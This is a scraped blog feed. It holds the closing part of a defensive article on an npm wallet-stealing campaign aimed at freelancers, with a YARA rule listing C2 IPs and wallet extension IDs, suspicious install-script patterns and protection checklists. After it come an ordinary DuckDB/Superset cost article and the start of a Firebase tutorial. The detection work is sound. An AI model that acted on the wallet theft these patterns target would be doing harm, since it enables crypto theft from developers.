// Pattern 4: Suspicious prepare scripts
"prepare": "npm start"
"prepare": "node index.js"
"postinstall": "node setup.js"
</code></pre>
<h3>YARA Rule</h3>
<pre><code class="language-pgsql">rule npm_crypto_stealer_freelance {
    meta:
        description = "Detects npm cryptocurrency stealer targeting freelance developers"
        author = "Security Researcher"
        date = "2024-11-26"
        
    strings:
        $atob = "atob(" ascii
        $new_function = "new Function(" ascii
        $require_inject = /new Function\s*\(\s*["']require["']/ ascii
        $jsonkeeper = "jsonkeeper.com" ascii
        $c2_ip1 = "88.218.0.78" ascii
        $c2_ip2 = "67.218.0.78" ascii
        
        $wallet1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii  // MetaMask
        $wallet2 = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii  // Phantom
        $wallet3 = "ibnejdfjmmkpcnlpebklmnkoeoihofec" ascii  // TronLink
        
    condition:
        (\(atob and \)new_function and $require_inject) or
        ($jsonkeeper) or
        (any of ($c2_ip*)) or
        (2 of ($wallet*))
}
</code></pre>
<hr />
<h2>Protecting Yourself as a Freelance Developer</h2>
<h3>The Freelancer's Security Checklist</h3>
<p>Before accepting ANY project that requires running code locally:</p>
<pre><code class="language-pgsql">┌─────────────────────────────────────────────────────────────────────────┐
│                    PRE-PROJECT SECURITY CHECKLIST                       │
└─────────────────────────────────────────────────────────────────────────┘

CLIENT VERIFICATION
  □ Verify client identity through video call
  □ Check client's history on the platform (reviews, past projects)
  □ Research the company independently (LinkedIn, website, news)
  □ Be suspicious of new accounts with no history
  □ Verify email domains match company claims

REPOSITORY ANALYSIS
  □ Check repository age and commit history
  □ Review all contributors' profiles
  □ Look for suspicious stars/forks patterns
  □ Read through package.json scripts BEFORE installing
  □ Search for encoded strings (atob, Buffer.from, base64)
  □ Look for dynamic code execution (eval, new Function, vm)

SAFE EXECUTION
  □ Use a dedicated virtual machine for unknown projects
  □ Run npm install --ignore-scripts first
  □ Manually review and run scripts individually
  □ Use network monitoring to detect suspicious connections
  □ Never run untrusted code on a machine with crypto wallets

ONGOING PROTECTION
  □ Keep crypto wallets on a separate, air-gapped device
  □ Use hardware wallets for significant holdings
  □ Enable 2FA on all accounts
  □ Regularly rotate credentials
  □ Monitor wallet addresses for unauthorized transactions
</code></pre>
<h3>Technical Safeguards</h3>
<p><strong>1. Use Virtual Machines or Containers</strong></p>
<pre><code class="language-bash"># Create an isolated Docker container for untrusted projects
docker run -it --rm \
  --network=none \
  -v $(pwd):/workspace \
  node:18 \
  bash

# Inside container, safely inspect the project
cd /workspace
cat package.json | jq '. scripts'
</code></pre>
<p><strong>2. Disable Automatic Script Execution</strong></p>
<pre><code class="language-bash"># Add to your ~/. npmrc
ignore-scripts=true

# Or use the flag each time
npm install --ignore-scripts
</code></pre>
<p><strong>3. Use npm's Built-in Security Tools</strong></p>
<pre><code class="language-bash"># Audit dependencies for known vulnerabilities
npm audit

# Check for suspicious packages
npx socket check
</code></pre>
<p><strong>4. Network Monitoring</strong></p>
<pre><code class="language-bash"># Monitor outbound connections (macOS/Linux)
sudo lsof -i -P | grep node

# Windows PowerShell
Get-NetTCPConnection | Where-Object {$_. OwningProcess -eq (Get-Process node).Id}
</code></pre>
<p><strong>5. Dedicated Development Machine</strong></p>
<p>Consider these setups:</p>
<table>
<thead>
<tr>
<th>Setup</th>
<th>Cost</th>
<th>Security Level</th>
<th>Convenience</th>
</tr>
</thead>
<tbody><tr>
<td>Separate laptop</td>
<td>$$$</td>
<td>High</td>
<td>Medium</td>
</tr>
<tr>
<td>Virtual machine</td>
<td>Free</td>
<td>High</td>
<td>Medium</td>
</tr>
<tr>
<td>Docker containers</td>
<td>Free</td>
<td>Medium-High</td>
<td>High</td>
</tr>
<tr>
<td>Cloud development (Codespaces)</td>
<td>$$</td>
<td>High</td>
<td>High</td>
</tr>
<tr>
<td>Dedicated user account</td>
<td>Free</td>
<td>Low-Medium</td>
<td>High</td>
</tr>
</tbody></table>
<h3>If You've Been Compromised</h3>
<p><strong>Immediate Actions (First 15 Minutes):</strong></p>
<ol>
<li><p><strong>Disconnect from the internet</strong> to prevent further data exfiltration</p>
</li>
<li><p><strong>Do not restart your computer</strong> - this may destroy forensic evidence</p>
</li>
<li><p><strong>Document everything</strong> - take screenshots, note timestamps</p>
</li>
</ol>
<p><strong>Asset Protection (First Hour):</strong></p>
<ol>
<li><p><strong>Transfer cryptocurrency immediately</strong> to new wallets created on a different, clean device</p>
</li>
<li><p><strong>Revoke all browser sessions</strong> for critical accounts (Google, GitHub, AWS, etc.)</p>
</li>
<li><p><strong>Enable 2FA</strong> on all accounts if not already enabled</p>
</li>
<li><p><strong>Change all passwords</strong> using a password manager on a clean device</p>
</li>
</ol>
<p><strong>System Recovery (First Day):</strong></p>
<ol>
<li><p><strong>Export important data</strong> to external storage (be careful not to copy malware)</p>
</li>
<li><p><strong>Perform a full system reinstall</strong> - this is the only way to ensure complete removal</p>
</li>
<li><p><strong>Scan external storage</strong> before reconnecting to the clean system</p>
</li>
<li><p><strong>Review account activity</strong> for all financial and code hosting accounts</p>
</li>
</ol>
<p><strong>Reporting:</strong></p>
<ol>
<li><p><strong>Report to the platform</strong> (Upwork, LinkedIn, Freelancer) with all evidence</p>
</li>
<li><p><strong>Report to npm security</strong> if malicious packages were involved</p>
</li>
<li><p><strong>File a report with IC3</strong> (FBI's Internet Crime Complaint Center) if you're in the US</p>
</li>
<li><p><strong>Share your experience</strong> to warn other developers</p>
</li>
</ol>
<hr />
<h2>Platform-Specific Red Flags</h2>
<h3>Upwork Warning Signs</h3>
<table>
<thead>
<tr>
<th><strong>Red Flag</strong></th>
<th><strong>Example</strong></th>
<th><strong>What To Do</strong></th>
</tr>
</thead>
<tbody><tr>
<td>New client, high budget</td>
<td>"$500 for 2-hour fix"</td>
<td>Verify identity via video call</td>
</tr>
<tr>
<td>Vague requirements</td>
<td>"Just run it and you'll see"</td>
<td>Ask for detailed documentation</td>
</tr>
<tr>
<td>Urgency without reason</td>
<td>"Need this TODAY"</td>
<td>Take your time anyway</td>
</tr>
<tr>
<td>Repository instead of description</td>
<td>"Everything is in the GitHub"</td>
<td>Review before accepting</td>
</tr>
<tr>
<td>Crypto/DeFi project + new account</td>
<td>"Building next-gen DeFi"</td>
<td>Extra scrutiny required</td>
</tr>
</tbody></table>
<h3>LinkedIn Warning Signs</h3>
<table>
<thead>
<tr>
<th><strong>Red Flag</strong></th>
<th><strong>Example</strong></th>
<th><strong>What To Do</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Recruiter with few connections</td>
<td>50 connections, new account</td>
<td>Research the company directly</td>
</tr>
<tr>
<td>"Technical assessment" via repo</td>
<td>"Clone and improve this code"</td>
<td>Use a sandboxed environment</td>
</tr>
<tr>
<td>Too-good compensation</td>
<td>"$200/hr for simple review"</td>
<td>If it's too good to be true...</td>
</tr>
<tr>
<td>Pressure to act quickly</td>
<td>"Position closing tomorrow"</td>
<td>Legitimate companies can wait</td>
</tr>
<tr>
<td>No company email domain</td>
<td>Gmail/Outlook for "CTO"</td>
<td>Verify through official channels</td>
</tr>
</tbody></table>
<h3>Freelancer. com Warning Signs</h3>
<table>
<thead>
<tr>
<th><strong>Red Flag</strong></th>
<th><strong>Example</strong></th>
<th><strong>What To Do</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Contest requiring code execution</td>
<td>"Build on top of our starter"</td>
<td>Review starter code thoroughly</td>
</tr>
<tr>
<td>Private project, high pay</td>
<td>"$1000 for quick fix, NDA required"</td>
<td>NDA doesn't prevent security review</td>
</tr>
<tr>
<td>Employer location mismatch</td>
<td>"US company" but timezone is off</td>
<td>Video call to verify</td>
</tr>
<tr>
<td>Payment outside platform</td>
<td>"We'll pay via crypto for speed"</td>
<td>Refuse, use platform escrow</td>
</tr>
</tbody></table>
<hr />
<h2>Conclusion</h2>
<p>The freelance economy has created unprecedented opportunities for developers worldwide. But with these opportunities come new attack vectors that cybercriminals are eagerly exploiting. The attack analyzed in this paper represents a new generation of threats—sophisticated, targeted, and devastatingly effective.</p>
<h3>Key Takeaways</h3>
<ol>
<li><p><strong>Trust No Repository</strong>: Even "job opportunities" from established platforms can be attack vectors. Always review code before running it.</p>
</li>
<li><p><strong>The "Prepare" Trap</strong>: Be especially wary of npm lifecycle scripts (<code>prepare</code>, <code>postinstall</code>, <code>preinstall</code>) that run automatically during installation.</p>
</li>
<li><p><strong>External Payloads</strong>: Modern malware doesn't need to be in the repository—it can fetch its payload from legitimate hosting services at runtime.</p>
</li>
<li><p><strong>Cryptocurrency = Target</strong>: If you work with crypto and hold assets, you are a high-value target. Separate your development and asset-holding environments.</p>
</li>
<li><p><strong>Verify, Then Trust</strong>: Video calls, company research, and reference checks aren't just for traditional employment—they're essential for freelance work too.</p>
</li>
<li><p><strong>Sandbox Everything</strong>: Virtual machines and containers are your friends. Use them for any project from an unverified source.</p>
</li>
</ol>
<h3>The Attacker's Advantage</h3>
<p>The economics currently favor attackers:</p>
<ul>
<li><p><strong>Low cost</strong>: Setting up malicious repositories is essentially free</p>
</li>
<li><p><strong>High reward</strong>: A single compromised developer with crypto can yield thousands of dollars</p>
</li>
<li><p><strong>Low risk</strong>: Attribution is difficult, prosecution is rare</p>
</li>
<li><p><strong>Scalable</strong>: The same malware can be repackaged for hundreds of "job postings"</p>
</li>
</ul>
<h3>Our Response</h3>
<p>As a community, we must:</p>
<ol>
<li><p><strong>Share knowledge</strong>: Write about attacks you discover, warn others</p>
</li>
<li><p><strong>Build tools</strong>: Create better detection for supply chain attacks</p>
</li>
<li><p><strong>Pressure platforms</strong>: Demand better verification from Upwork, LinkedIn, and others</p>
</li>
<li><p><strong>Educate newcomers</strong>: Help new developers understand the risks</p>
</li>
<li><p><strong>Report aggressively</strong>: Every report makes it harder for attackers to operate</p>
</li>
</ol>
<h3>Call to Action</h3>
<p>If you encounter similar malware:</p>
<ol>
<li><p><strong>Report to the platform</strong>: Upwork, LinkedIn, Freelancer have security teams</p>
</li>
<li><p><strong>Report to npm</strong>: <a href="mailto:security@npmjs.com">security@npmjs.com</a></p>
</li>
<li><p><strong>Report to GitHub</strong>: security@github. com (if hosted on GitHub)</p>
</li>
<li><p><strong>Report the C2 servers</strong>: Contact the hosting provider's abuse team</p>
</li>
<li><p><strong>Share with the community</strong>: Write about your findings to help others</p>
</li>
</ol>
<p>The security of the freelance ecosystem depends on all of us. By staying vigilant and sharing knowledge, we can make it harder for attackers to succeed.</p>
<hr />
<h2>Appendix A: Quick Reference Card</h2>
<p>Print this and keep it near your workstation:</p>
<pre><code class="language-pgsql">┌─────────────────────────────────────────────────────────────────────────┐
│              FREELANCE DEVELOPER SECURITY QUICK REFERENCE               │
└─────────────────────────────────────────────────────────────────────────┘

BEFORE ACCEPTING A JOB:
  ✓ Verify client identity (video call, company research)
  ✓ Check platform reputation (reviews, history)
  ✓ Be suspicious of urgency + high pay + new accounts

BEFORE RUNNING ANY CODE:
  ✓ Read package.json scripts: cat package.json | jq '.scripts'
  ✓ Search for danger: grep -r "atob\|eval\|new Function" .
  ✓ Use --ignore-scripts: npm install --ignore-scripts
  ✓ Run in sandbox: Use VM or Docker

RED FLAGS IN CODE:
  ⚠ atob() or Buffer.from() with encoded strings
  ⚠ new Function() with dynamic strings
  ⚠ eval() with any variable input
  ⚠ Child process execution with external input
  ⚠ Unexplained network requests

IF COMPROMISED:
  1. Disconnect from internet IMMEDIATELY
  2.  Transfer crypto to new wallet (from clean device)
  3. Change all passwords (from clean device)
  4. Revoke all sessions
  5. Full system reinstall

REPORT TO:
  • Platform (Upwork/LinkedIn/Freelancer)
  • npm: security@npmjs. com
  • GitHub: security@github. com
  • IC3: ic3.gov (US)
</code></pre>
<hr />
<h2>Appendix B: Resources</h2>
<h3>Security Tools</h3>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Purpose</th>
<th>Link</th>
</tr>
</thead>
<tbody><tr>
<td>Socket. dev</td>
<td>Supply chain security</td>
<td><a href="https://socket.dev">https://socket.dev</a></td>
</tr>
<tr>
<td>Snyk</td>
<td>Vulnerability scanning</td>
<td><a href="https://snyk.io">https://snyk.io</a></td>
</tr>
<tr>
<td>npm audit</td>
<td>Built-in security</td>
<td><code>npm audit</code></td>
</tr>
<tr>
<td>Sandworm</td>
<td>Dependency behavior analysis</td>
<td><a href="https://sandworm.dev">https://sandworm.dev</a></td>
</tr>
<tr>
<td>Lockfile-lint</td>
<td>Lockfile integrity</td>
<td>npm package</td>
</tr>
</tbody></table>
<h3>Learning Resources</h3>
<ul>
<li><p>OWASP Top 10 for Node.js</p>
</li>
<li><p>npm Security Best Practices</p>
</li>
<li><p>GitHub Security Advisories</p>
</li>
<li><p>NIST Cybersecurity Framework</p>
</li>
</ul>
<h3>Reporting Channels</h3>
<ul>
<li><p>npm Security: security@npmjs. com</p>
</li>
<li><p>GitHub Security: security@github. com</p>
</li>
<li><p>Upwork Trust &amp; Safety: Through platform</p>
</li>
<li><p>LinkedIn Safety: Through platform</p>
</li>
<li><p>FBI IC3: <a href="https://ic3.gov">https://ic3.gov</a></p>
</li>
</ul>
<hr />
<p><em>Disclaimer: This analysis is provided for educational and defensive purposes only. The techniques described should only be used for legitimate security research and defense. Never attempt to access systems or data without authorization. Always report malicious code to the appropriate authorities.</em></p>
<hr />
<p><strong>Share this article</strong> to help protect fellow developers. The more awareness we create, the harder it becomes for attackers to succeed.</p>
<hr />
<p><strong>Tags</strong>: #cybersecurity #malware #npm #supplychain #cryptocurrency #infosec #freelancing #upwork #linkedin #freelancer #remotework #developers #web3 #defi #metamask</p>
]]></content:encoded></item><item><title><![CDATA[How I Saved $800+ Daily Using DuckDB & Apache Superset Instead of AWS Redshift for Analytics]]></title><description><![CDATA[The Problem: Skyrocketing AWS Analytics Costs
When managing analytics for our loan management system, we initially turned to the standard AWS stack: Amazon Redshift for data warehousing and AWS Glue for ETL pipelines. The result? A shocking $800 bill...]]></description><link>https://blog.ghanshyamdigital.com/how-i-saved-800-daily-using-duckdb-and-apache-superset-instead-of-aws-redshift-for-analytics</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/how-i-saved-800-daily-using-duckdb-and-apache-superset-instead-of-aws-redshift-for-analytics</guid><category><![CDATA[duckDB]]></category><category><![CDATA[Apache Superset]]></category><category><![CDATA[AWS]]></category><category><![CDATA[redshift]]></category><category><![CDATA[ETL]]></category><category><![CDATA[analytics]]></category><category><![CDATA[Parquet]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Thu, 13 Nov 2025 13:15:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763027801589/2a02f44a-99e8-4b9a-9566-6603a2f2872b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-the-problem-skyrocketing-aws-analytics-costs">The Problem: Skyrocketing AWS Analytics Costs</h2>
<p>When managing analytics for our loan management system, we initially turned to the standard AWS stack: Amazon Redshift for data warehousing and AWS Glue for ETL pipelines. <strong>The result? A shocking $800 bill for just one day of operation (We obviously asked for waiver and thankfully received it).</strong></p>
<p>For a growing startup or mid-sized company, this translates to potentially $24,000+ monthly just for analytics infrastructure. We knew there had to be a better way.</p>
<h2 id="heading-the-solution-a-cost-effective-modern-data-stack">The Solution: A Cost-Effective Modern Data Stack</h2>
<p>After evaluating multiple alternatives, we built a lean analytics pipeline using:</p>
<ul>
<li><p><strong>DuckDB</strong> - An in-process analytical database</p>
</li>
<li><p><strong>Apache Superset</strong> - Open-source data visualization platform</p>
</li>
<li><p><strong>AWS Fargate</strong> - Pay-per-use container service</p>
</li>
<li><p><strong>Amazon S3</strong> - Cost-effective data storage</p>
</li>
</ul>
<p><strong>The result?</strong> We reduced our analytics costs by over 95% while maintaining performance and scalability.</p>
<h2 id="heading-architecture-overview-from-rds-to-dashboard">Architecture Overview: From RDS to Dashboard</h2>
<h3 id="heading-step-1-data-export-from-rds-to-s3">Step 1: Data Export from RDS to S3</h3>
<p>Our loan management data resided in Amazon RDS. Instead of continuous replication or expensive real-time sync, we leveraged <strong>Export to S3</strong> feature:</p>
<ul>
<li><p>Exports are stored as Parquet files in S3</p>
</li>
<li><p>Large tables are automatically chunked into multiple Parquet files</p>
</li>
<li><p>Parquet format provides excellent compression (reducing storage costs)</p>
</li>
<li><p>Exports can be scheduled during off-peak hours</p>
</li>
</ul>
<p><strong>Cost benefit:</strong> S3 storage costs pennies compared to maintaining a live Redshift cluster.</p>
<h3 id="heading-step-2-data-transformation-with-python-and-pandas">Step 2: Data Transformation with Python and Pandas</h3>
<p>While DuckDB can read Parquet files directly, we encountered a critical challenge: <strong>data type consistency</strong>. Dates and other fields were often stored as strings in the Parquet exports, making aggregate queries impossible.</p>
<p>Here's our transformation approach:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd
<span class="hljs-keyword">import</span> duckdb

<span class="hljs-comment"># Read Parquet files with proper transformations</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">transform_loan_data</span>(<span class="hljs-params">parquet_path</span>):</span>
    df = pd.read_parquet(parquet_path)

    <span class="hljs-comment"># Convert date strings to proper datetime</span>
    df[<span class="hljs-string">'loan_date'</span>] = pd.to_datetime(df[<span class="hljs-string">'loan_date'</span>])
    df[<span class="hljs-string">'disbursement_date'</span>] = pd.to_datetime(df[<span class="hljs-string">'disbursement_date'</span>])

    <span class="hljs-comment"># Transform other fields</span>
    df[<span class="hljs-string">'loan_amount'</span>] = df[<span class="hljs-string">'loan_amount'</span>].astype(float)
    df[<span class="hljs-string">'status'</span>] = df[<span class="hljs-string">'status'</span>].str.upper().str.strip()

    <span class="hljs-keyword">return</span> df

<span class="hljs-comment"># Load into DuckDB</span>
conn = duckdb.connect(<span class="hljs-string">'analytics.duckdb'</span>)
df_transformed = transform_loan_data(<span class="hljs-string">'s3://bucket/loans/*.parquet'</span>)
conn.execute(<span class="hljs-string">"CREATE TABLE loans AS SELECT * FROM df_transformed"</span>)
</code></pre>
<p><strong>Why this approach worked:</strong></p>
<ul>
<li><p>Pandas provided flexible data type conversions</p>
</li>
<li><p>We could apply business logic during transformation</p>
</li>
<li><p>Complex nested structures in Parquet could be flattened</p>
</li>
<li><p>Data quality checks could be implemented in Python</p>
</li>
</ul>
<h3 id="heading-step-3-pre-computing-analytics-in-duckdb">Step 3: Pre-Computing Analytics in DuckDB</h3>
<p>To ensure lightning-fast dashboard loading, we pre-computed key metrics and stored them in <strong>temporary tables within DuckDB</strong>:</p>
<pre><code class="lang-pgsql"><span class="hljs-comment">-- Daily loan disbursements</span>
<span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TEMP</span> <span class="hljs-keyword">TABLE</span> daily_disbursements <span class="hljs-keyword">AS</span>
<span class="hljs-keyword">SELECT</span> 
    DATE_TRUNC(<span class="hljs-string">'day'</span>, disbursement_date) <span class="hljs-keyword">as</span> <span class="hljs-type">date</span>,
    COUNT(*) <span class="hljs-keyword">as</span> loan_count,
    SUM(loan_amount) <span class="hljs-keyword">as</span> total_amount,
    AVG(interest_rate) <span class="hljs-keyword">as</span> avg_interest_rate
<span class="hljs-keyword">FROM</span> loans
<span class="hljs-keyword">WHERE</span> status = <span class="hljs-string">'DISBURSED'</span>
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> DATE_TRUNC(<span class="hljs-string">'day'</span>, disbursement_date);

<span class="hljs-comment">-- Portfolio aging analysis</span>
<span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TEMP</span> <span class="hljs-keyword">TABLE</span> portfolio_aging <span class="hljs-keyword">AS</span>
<span class="hljs-keyword">SELECT</span> 
    <span class="hljs-keyword">CASE</span> 
        <span class="hljs-keyword">WHEN</span> days_overdue = <span class="hljs-number">0</span> <span class="hljs-keyword">THEN</span> <span class="hljs-string">'Current'</span>
        <span class="hljs-keyword">WHEN</span> days_overdue &lt;= <span class="hljs-number">30</span> <span class="hljs-keyword">THEN</span> <span class="hljs-string">'1-30 Days'</span>
        <span class="hljs-keyword">WHEN</span> days_overdue &lt;= <span class="hljs-number">60</span> <span class="hljs-keyword">THEN</span> <span class="hljs-string">'31-60 Days'</span>
        <span class="hljs-keyword">ELSE</span> <span class="hljs-string">'60+ Days'</span>
    <span class="hljs-keyword">END</span> <span class="hljs-keyword">as</span> aging_bucket,
    COUNT(*) <span class="hljs-keyword">as</span> loan_count,
    SUM(outstanding_amount) <span class="hljs-keyword">as</span> total_outstanding
<span class="hljs-keyword">FROM</span> loans
<span class="hljs-keyword">WHERE</span> status <span class="hljs-keyword">IN</span> (<span class="hljs-string">'ACTIVE'</span>, <span class="hljs-string">'OVERDUE'</span>)
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> aging_bucket;
</code></pre>
<p><strong>Performance advantage:</strong> Dashboard queries now fetch pre-aggregated data instead of running complex calculations on-the-fly.</p>
<h3 id="heading-step-4-visualization-with-apache-superset">Step 4: Visualization with Apache Superset</h3>
<p>Apache Superset connected directly to our DuckDB database using the DuckDB SQLAlchemy driver:</p>
<ol>
<li><p><strong>Add DuckDB as a data source</strong> in Superset</p>
</li>
<li><p><strong>Create datasets</strong> pointing to our pre-computed tables</p>
</li>
<li><p><strong>Build interactive dashboards</strong> with various chart types</p>
</li>
<li><p><strong>Set up caching</strong> for frequently accessed visualizations</p>
</li>
</ol>
<p>The user experience was identical to enterprise BI tools like Tableau or Looker, but at zero licensing cost.</p>
<h2 id="heading-cost-comparison-the-numbers-dont-lie">Cost Comparison: The Numbers Don't Lie</h2>
<h3 id="heading-traditional-aws-stack-redshift-glue">Traditional AWS Stack (Redshift + Glue)</h3>
<ul>
<li><p><strong>Redshift cluster:</strong> $800/day (2 nodes, 24/7)</p>
</li>
<li><p><strong>AWS Glue:</strong> ~$0.44 per DPU-hour</p>
</li>
<li><p><strong>Monthly estimate:</strong> $24,000+</p>
</li>
</ul>
<h3 id="heading-our-duckdb-solution">Our DuckDB Solution</h3>
<ul>
<li><p><strong>AWS Fargate:</strong> ~$30/month (running 8 hours/day)</p>
</li>
<li><p><strong>S3 storage:</strong> ~$5/month (200GB compressed Parquet)</p>
</li>
<li><p><strong>Fargate for Superset:</strong> ~$50/month</p>
</li>
<li><p><strong>Monthly total:</strong> ~$85</p>
</li>
</ul>
<p><strong>Savings: Over $23,900 per month (99.6% reduction)</strong></p>
<h2 id="heading-additional-benefits-beyond-cost-savings">Additional Benefits Beyond Cost Savings</h2>
<h3 id="heading-1-operational-simplicity">1. <strong>Operational Simplicity</strong></h3>
<ul>
<li><p>No cluster management or scaling concerns</p>
</li>
<li><p>DuckDB is embedded - no separate database server</p>
</li>
<li><p>Superset runs in a single container</p>
</li>
</ul>
<h3 id="heading-2-development-speed">2. <strong>Development Speed</strong></h3>
<ul>
<li><p>Instant local testing with DuckDB</p>
</li>
<li><p>SQL-first approach with no complex ETL frameworks</p>
</li>
<li><p>Easy iteration on analytics queries</p>
</li>
</ul>
<h3 id="heading-3-flexibility">3. <strong>Flexibility</strong></h3>
<ul>
<li><p>Start/stop Fargate tasks when not in use</p>
</li>
<li><p>Export DuckDB database for local analysis</p>
</li>
<li><p>Version control your entire analytics stack</p>
</li>
</ul>
<h3 id="heading-4-performance">4. <strong>Performance</strong></h3>
<ul>
<li><p>DuckDB's columnar engine excels at analytical queries</p>
</li>
<li><p>In-process execution eliminates network latency</p>
</li>
<li><p>Pre-aggregated tables provide sub-second response times</p>
</li>
</ul>
<h2 id="heading-when-this-approach-works-best">When This Approach Works Best</h2>
<p>This architecture is ideal for:</p>
<ul>
<li><p><strong>Batch analytics</strong> (not real-time streaming)</p>
</li>
<li><p><strong>Small to medium datasets</strong> (up to 100GB)</p>
</li>
<li><p><strong>Cost-conscious teams</strong> without enterprise budgets</p>
</li>
<li><p><strong>Infrequent queries</strong> (not 24/7 user-facing applications)</p>
</li>
</ul>
<h2 id="heading-when-to-consider-alternatives">When to Consider Alternatives</h2>
<p>Stick with Redshift or Snowflake if you need:</p>
<ul>
<li><p><strong>Real-time analytics</strong> with sub-second data freshness</p>
</li>
<li><p><strong>Multi-user concurrency</strong> with hundreds of simultaneous queries</p>
</li>
<li><p><strong>Petabyte-scale data warehousing</strong></p>
</li>
<li><p><strong>Complex data governance</strong> and access controls</p>
</li>
</ul>
<h2 id="heading-conclusion-modern-analytics-doesnt-require-big-budgets">Conclusion: Modern Analytics Doesn't Require Big Budgets</h2>
<p>By combining open-source tools like DuckDB and Apache Superset with cost-effective AWS services, we proved that sophisticated analytics doesn't require enterprise-level spending.</p>
<p>Our loan management analytics now runs for less than the cost of a nice dinner, compared to the $24,000+ monthly Redshift bills we avoided. More importantly, we maintained full control over our data pipeline and gained the flexibility to iterate quickly.</p>
<p><strong>The modern data stack is democratizing analytics—and your infrastructure costs should reflect that.</strong></p>
<h2 id="heading-frequently-asked-questions">Frequently Asked Questions</h2>
<p><strong>Q: Can DuckDB handle my production workload?</strong><br />A: DuckDB excels for analytical workloads up to 100GB. For larger datasets or high concurrency, consider distributed solutions like ClickHouse.</p>
<p><strong>Q: How often should I refresh the data?</strong><br />A: It depends on your needs. We run daily exports from RDS, but you could schedule hourly or even more frequently.</p>
<p><strong>Q: Is Apache Superset production-ready?</strong><br />A: Yes, Superset is used by companies like Airbnb, Netflix, and Twitter. Ensure proper security configuration for production use.</p>
<p><strong>Q: What about data security?</strong><br />A: Use IAM roles for S3 access, VPC networking for Fargate, and Superset's built-in authentication. Encrypt data at rest in S3.</p>
<h3 id="heading-relevant-keywords">Relevant Keywords</h3>
<p>DuckDB, Apache Superset, AWS cost savings, Redshift alternative, analytics on a budget, data visualization, ETL pipeline, AWS Fargate, Parquet files, loan management analytics, modern data stack</p>
]]></content:encoded></item><item><title><![CDATA[How to Implement Firebase Push Notifications in a .NET MAUI Hybrid App]]></title><description><![CDATA[Step 1: Add Firebase Configuration Files
Add google-services.json for Android

Go to the Firebase Console.

Create a new project or select an existing one.

Navigate to Project Settings > General.

In the "Your apps" section, register your Android ap...]]></description><link>https://blog.ghanshyamdigital.com/how-to-implement-firebase-push-notifications-in-a-net-maui-hybrid-app</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/how-to-implement-firebase-push-notifications-in-a-net-maui-hybrid-app</guid><category><![CDATA[Firebase]]></category><category><![CDATA[push notifications]]></category><dc:creator><![CDATA[Pratik]]></dc:creator><pubDate>Tue, 06 May 2025 13:09:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746536776574/26c5c7b5-afd2-4230-9658-41ac0901ab73.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-step-1-add-firebase-configuration-files">Step 1: Add Firebase Configuration Files</h2>
<h3 id="heading-add-google-servicesjson-for-android">Add <code>google-services.json</code> for Android</h3>
<ol>
<li><p>Go to the Firebase Console.</p>
</li>
<li><p>Create a new project or select an existing one.</p>
</li>
<li><p>Navigate to <strong>Project Settings &gt; General</strong>.</p>
</li>
<li><p>In the "Your apps" section, register your Android app.</p>
</li>
<li><p>Follow the instructions to download the <code>google-services.json</code> file.</p>
</li>
<li><p>Place it in your project under <code>Platforms/Android</code>.</p>
</li>
</ol>
<h2 id="heading-set-build-action">Set Build Action</h2>
<ol>
<li><p>Right-click the <code>google-services.json</code> file in <strong>Solution Explorer</strong>.</p>
</li>
<li><p>Choose <strong>Properties</strong>.</p>
</li>
<li><p>Set <strong>Build Action</strong> to <code>GoogleServicesJson</code>.</p>
</li>
</ol>
<h2 id="heading-step-2-create-a-net-maui-hybrid-project">Step 2: Create a .NET MAUI Hybrid Project</h2>
<p>In Visual Studio:</p>
<ul>
<li><p>Create a new project using the <strong>.NET MAUI Blazor App</strong> template.</p>
</li>
<li><p>This enables you to mix web and native mobile functionality using Razor and C#.</p>
</li>
</ul>
<h2 id="heading-step-3-install-required-nuget-packages">Step 3: Install Required NuGet Packages</h2>
<p>Install the following packages via NuGet:</p>
<pre><code class="lang-bash">Plugin.Firebase
Plugin.Firebase.Crashlytics
Plugin.Firebase.CloudMessaging
</code></pre>
<h2 id="heading-step-4-handle-notification-permissions-android">Step 4: Handle Notification Permissions (Android)</h2>
<p>In your <code>AndroidManifest.xml</code>, add the necessary permissions:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">uses-permission</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.permission.INTERNET"</span> /&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">uses-permission</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.permission.POST_NOTIFICATIONS"</span> /&gt;</span>
</code></pre>
<h2 id="heading-step-5-android-firebase-initialization">Step 5: Android Firebase Initialization</h2>
<h3 id="heading-create-crossfirebase-class">Create CrossFirebase Class</h3>
<p>Inside <code>Platforms/Android</code>, create a file named <code>CrossFirebase.cs</code>:</p>
<pre><code class="lang-csharp"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">class</span> <span class="hljs-title">CrossFirebase</span>
{
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">Initialize</span>(<span class="hljs-params">
        Activity activity,
        CrossFirebaseSettings settings,
        FirebaseOptions firebaseOptions = <span class="hljs-literal">null</span>,
        <span class="hljs-keyword">string</span> name = <span class="hljs-literal">null</span></span>)</span>
    {
        <span class="hljs-keyword">if</span>(firebaseOptions == <span class="hljs-literal">null</span>) {
            FirebaseApp.InitializeApp(activity);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(name == <span class="hljs-literal">null</span>) {
            FirebaseApp.InitializeApp(activity, firebaseOptions);
